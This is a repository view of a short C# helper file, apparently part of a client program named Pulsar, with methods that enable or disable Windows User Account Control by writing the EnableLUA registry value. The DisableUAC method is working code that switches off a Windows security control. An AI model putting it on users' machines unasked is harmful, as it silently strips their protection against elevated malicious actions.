Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

47 lines
1.4 KiB
C#

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.UAC
{
public class UACToggle
{
public static void EnableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error enabling UAC: " + ex.Message);
}
}
public static void DisableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error disabling UAC: " + ex.Message);
}
}
}
}